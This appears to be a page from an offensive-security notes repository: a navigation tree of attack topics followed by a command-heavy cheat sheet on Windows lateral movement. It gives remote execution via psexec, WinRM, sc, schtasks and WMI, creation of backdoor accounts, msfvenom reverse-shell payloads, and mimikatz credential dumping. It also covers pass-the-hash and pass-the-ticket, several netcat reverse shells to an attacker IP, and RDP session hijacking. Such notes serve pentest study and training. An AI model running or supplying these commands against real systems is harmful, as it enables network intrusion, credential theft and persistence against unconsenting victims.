Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Lateral Movement
  - Remote Processes
    - psexec
    - WinRM
    - sc
    - schtasks
    - wmi
  - Further Authentication Methods
    - NTLM
      - Pass the hash
    - Kerberos
      - Pass The Ticket
      - Overpass The Hash
  - Writeable Shares

# Lateral Movement

- Finding credentials with more permissions move through the network cloaked, avoiding detection
- Context of connections from A to B with permission C might be suspicious, therefore some bypass has to be found

- Local and network/domain accounts have to be distinguished. UAC is enforced on local admin accounts and not on domain accounts

- Service executables need their own special reverse shell, `msfvenom` file format `exe-service`

## Remote Processes

### psexec

- Port `445`
- `SMB` protocol

- Group membership: `Administrators`

- Upload the service binary to `ADMIN$` directory of the SMB server

- Use `psexesvc.exe` via service control manager to execute the remote process
- Communication will be established through a named pipe

    psexec64.exe \\%TARGET_IP% -u Administrator -p %PASSWORD% -i cmd.exe

### WinRM

- Ports `5985` (HTTP) and `5986` (HTTPS)

- Group Membership: `Remote Management Users`

- Execute powershell commands on remote targets

    winrs.exe -u:Administrator -p:%PASSWORD% -r:target cmd

- Run through powershell alternatively via

    $username = "Administrator";
    $password = "SecurePassword";
    $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
    $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

    Enter-PSSession -Computername TARGET -Credential $credential
    Invoke-Command -Computername TARGET -Credential -ScriptBlock {whoami}

### sc

- Ports `135`, `49152-65535` (DCE/RPC), `135` shows service endpoints on the high ports
- Ports `139` and `445`RPC over SMB named pipes, if SVCCTL fails over `135`

- Group Membership: `Administrators`

- Create service remotely via Service Control Manager (RPC) or `SVCCTL`

    sc.exe \\%TARGET_IP% create MyService binPath= "net user newuser securepassword /add" start= auto
    sc.exe \\%TARGET_IP% start MyService

    sc.exe \\%TARGET_IP% stop MyService
    sc.exe \\%TARGET_IP% delete MyService

### schtasks

- Create remote scheduled tasks

    schtasks /s TARGET /RU "SYSTEM" /create /tn "SteamUpdateService" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
    schtasks /s TARGET /run /TN "SteamUpdateService"

- Delete scheduled tasks via

    schtasks /S TARGET /TN "SteamUpdateService" /DELETE /F

### wmi

- Ports are
  - DCOM `135` RPC and dynamic ports
  - Wsman `5985` winrm HTTP and `5986` winrm HTTPS

- Group membership: `Administrators`

- To start, use the same object used for winrm

    $username = "Administrator";
    $password = "SecurePassword";
    $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
    $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

- Store the session

    $Opt = New-CimSessionOption -Protocol DCOM
    $Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

- Spawn a remote process

    $Command = "powershell.exe -Command Set-Content -Path C:\payload.txt -Value itworked";

    Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
    CommandLine = $Command
    }

- Alternatively via

    wmic.exe /user:Administrator /password:securepassword /node:TARGET process call create "cmd.exe /c nc64.exe -e cmd.exe %ATTACKER_IP% %ATTACKER_PORT%"

- Spawn a remote service

    Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
    Name = "SteamUpdateService";
    DisplayName = "SteamUpdateService";
    PathName = "net user gabenewell securepassword /add";
    ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
    StartMode = "Manual"
    }

- Initiate the service

    $Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'SteamUpdateService'"

    Invoke-CimMethod -InputObject $Service -MethodName StartService

- Start and stop via

    Invoke-CimMethod -InputObject $Service -MethodName StopService
    Invoke-CimMethod -InputObject $Service -MethodName Delete

- Spawn a remote scheduled task

    $Command = "cmd.exe"
    $Args = "/c net user gabenewell securepassword /add"

    $Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
    Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "SteamUpdateService"
    Start-ScheduledTask -CimSession $Session -TaskName "SteamUpdateService"

- Delete task via

    Unregister-ScheduledTask -CimSession $Session -TaskName "SteamUpdateService"

- Install a remote msi package

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=$TARGET_IP LPORT=4711 -f msi -o steam.msi

- Upload and run via

    Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\steam.msi"; Options = ""; AllUsers = $false}

- Alternatively on older systems via

    wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\steam.msi

## Further Authentication Methods

- NTLM
- Kerberos

### NTLM

#### Pass the hash

- Retrieve and pass a hash generated from the password

- Use mimikatz on local SAM

    privilege::debug
    token::elevate
    lsadump::sam

    * Use mimikatz on lsass

    privilege::debug
    token::elevate
    sekurlsa::msv

    * Open reverse shell via mimikatz

    token::revert
    sekurlsa::pth /user:<username>
    /domain:<domainname> /ntlm:<hash> /run:"C:\Windows\temp\nc.exe -e cmd.exe %ATTACKER_IP%  4711"

- Via RDP

    xfreerdp /v:$TARGET_IP /u:DOMAIN\\<username> /pth:<ntlm-hash>

- Via psexec

    psexec.py -hashes <ntlm-hash> DOMAIN/<username>@%TARGET_IP%

- Kerberos

    evil-winrm -i $TARGET_IP -u <username> -H <ntlm-hash>

### Kerberos

- Ticket and session key are needed

#### Pass The Ticket

- Extract via mimikatz

    privilege::debug
    sekurlsa::tickets /export

- TGS need low privilege account, TGT need administrative privileges
- Use the ticket to inject into a current session

    kerberos::ptt <ticket>@<domain>.kirbi

- Check tickets via `klist`

#### Overpass The Hash

- Pass the key: Timestamp to gain TGT is encrypted via an encrypted key
  - Algorithms can be `rc4`, `aes128`, `aes256` or `des` if enabled
  - `rc4` is a pure ntml hash
- Use the key to gain the TGT

    privilege::debug
    sekurlsa::ekeys

- Open a reverse shell via

    sekurlsa::pth /user:Administrator /domain:<domain> /<hash-algorithm>:<hash> /run:"C:\Windows\Temp\nc.exe -e cmd.exe %ATTACKER_IP% 4711"

## Writeable Shares

- Find a shortcut, a script or anything that keeps a connection over the network to a share

- Reuse a `*.vbs` via

    CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\%TARGET_IP%\share\nc.exe %tmp% & %tmp%\nc.exe -e cmd.exe %ATTACKER_IP% 4711", 0, True

- Reuse and inject into exisiting portable executable

    msfvenom -a x64 --platform windows  -x <reused.exe> -k -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4711 -b "\x00" -f exe -o <new_reused.exe>

- Reuse RDP session. Administrator can be logged out but did not close the session. Reuse it without a password as administrator user. Therefore run `cmd` or `powershell` as administrator and reuse the session by its name

    PsExec64.exe -s cmd.exe
    query user

- Check output and fill in

    tscon <ID-of-target> /dest:<my-SESSIONNAME>

- Session state should be `DISC`, a session which was not exited correctly
- Windows Server < 2019 only without the password